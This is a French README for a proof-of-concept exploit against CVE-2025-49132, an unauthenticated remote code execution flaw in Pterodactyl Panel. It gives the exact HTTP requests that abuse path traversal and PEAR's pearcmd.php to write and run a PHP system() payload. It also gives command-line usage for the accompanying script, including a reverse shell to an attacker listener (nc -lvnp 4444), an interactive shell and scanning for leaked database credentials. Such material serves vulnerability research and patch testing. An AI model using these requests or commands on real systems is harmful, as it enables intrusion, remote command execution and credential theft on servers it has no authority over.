
CVE-2025-49132_PHP_PEAR_METHOD
Ce dépôt contient un exploit de preuve de concept (PoC) pour CVE-2025-49132, une vulnérabilité critique d'exécution de code à distance non authentifiée dans Pterodactyl Panel versions antérieures à 1.11.11.
Pterodactyl Panel est un panneau de gestion de serveurs de jeux gratuit et open source développé en PHP. La vulnérabilité permet à un attaquant non authentifié d'exécuter des commandes système arbitraires sur le serveur cible via une gestion inappropriée du point de terminaison /locales/locale.json combinée à la fonctionnalité pearcmd.php de PHP PEAR.
PHP PEAR (PHP Extension and Application Repository) est un framework et un système de distribution pour des composants PHP réutilisables. Il fournit un outil en ligne de commande (pearcmd.php) qui peut être utilisé pour gérer les paquets PEAR.
Le fichier pearcmd.php traite des commandes via des paramètres d'URL et, lorsqu'il est combiné à une traversée de chemin (path traversal), il peut être exploité pour :
La vulnérabilité existe parce que :
locale dans /locales/locale.json permet une traversée de chemin sans validation appropriéepearcmd.php accepte la commande +config-create qui peut écrire des fichiers PHP arbitrairesUn attaquant peut :
config-create pour écrire du code PHP malveillant dans /tmpL'exploit fonctionne en deux étapes :
GET /locales/locale.json?+config-create+/&locale=../../../../../../usr/share/php/PEAR&namespace=pearcmd&<?=system('id')?>+/tmp/payload.php HTTP/1.1
Host: target.com
Détail :
+config-create+/ — Appelle la fonctionnalité de création de configuration de PEARlocale=../../../../../../usr/share/php/PEAR — Traversée de chemin vers le répertoire PEARnamespace=pearcmd — Cible le fichier pearcmd.php<?=system('id')?>+/tmp/payload.php — Payload PHP et fichier de destinationGET /locales/locale.json?locale=../../../../../../tmp&namespace=payload HTTP/1.1
Host: target.com
Détail :
locale=../../../../../../tmp — Traversée de chemin vers le répertoire /tmpnamespace=payload — Inclut et exécute payload.phpL'exploit nécessite l'envoi de caractères spéciaux (<, >, ?, =) dans l'URL sans les encoder. Si ces caractères sont encodés en URL :
<?=system('id')?> devient %3C%3F%3Dsystem%28%27id%27%29%3F%3Egraph TD
A[Attacker] -->|1. Path Traversal Request| B[locale.json]
B -->|2. Traverse to PEAR| C[pearcmd.php]
C -->|3. config-create Command| D[Write PHP Payload]
D -->|4. Create File| E[payload.php]
E -->|5. File Created| F[Server Filesystem]
A -->|6. Execution Request| G[locale.json]
G -->|7. Traverse to tmp| E
E -->|8. Include and Execute| H[PHP Interpreter]
H -->|9. System Command| I[Shell Command]
I -->|10. Command Output| A
style A fill:#ff6b6b
style B fill:#4ecdc4
style C fill:#ffe66d
style E fill:#ff6b6b
style H fill:#ff6b6b
style I fill:#ff6b6b
sequenceDiagram
participant Attacker
participant Web Server
participant PEAR
participant Filesystem
participant PHP Engine
Attacker->>Web Server: GET locale.json with config-create
Web Server->>PEAR: Path Traversal to pearcmd
PEAR->>Filesystem: Create payload.php
Filesystem-->>Attacker: 200 OK
Attacker->>Web Server: GET locale.json with payload namespace
Web Server->>Filesystem: Path Traversal to payload.php
Filesystem->>PHP Engine: Include payload
PHP Engine->>PHP Engine: Execute system command
PHP Engine-->>Attacker: Command Output RCE
requestsgit clone https://github.com/xffsec/CVE-2025-49132_PEAR_METHOD.git
cd CVE-2025-49132_PEAR_METHOD
pip3 install -r requirements.txt
Ou manuellement :
pip3 install requests
python3 poc.py -H <target_host> -c "<command>"
# Sur la machine de l'attaquant, démarrer un écouteur
nc -lvnp 4444
# Exécuter l'exploit avec le reverse shell
python3 poc.py -H <target_host> -r <your_ip>:4444
python3 poc.py -H <target_host> --shell
python3 poc.py -H <target_host> --fuzz
python3 poc.py -H <target_host> --scan
Vérifie la présence de CVE-2025-49132 via les fuites de configuration (identifiants de base de données, clé d'application).
python3 poc.py -H <target_host> -c "whoami" -p "/opt/pear"
python3 poc.py -H <target_host> -c "id" -v
Affiche la progression détaillée (création du payload, chemin PEAR, statut d'exécution).
usage: poc.py [-h] -H HOST [-c COMMAND] [-r REVERSE_SHELL] [--shell] [--fuzz] [--scan]
[-p PEAR_PATH] [-e ENDPOINT] [--ssl] [--timeout TIMEOUT] [-v]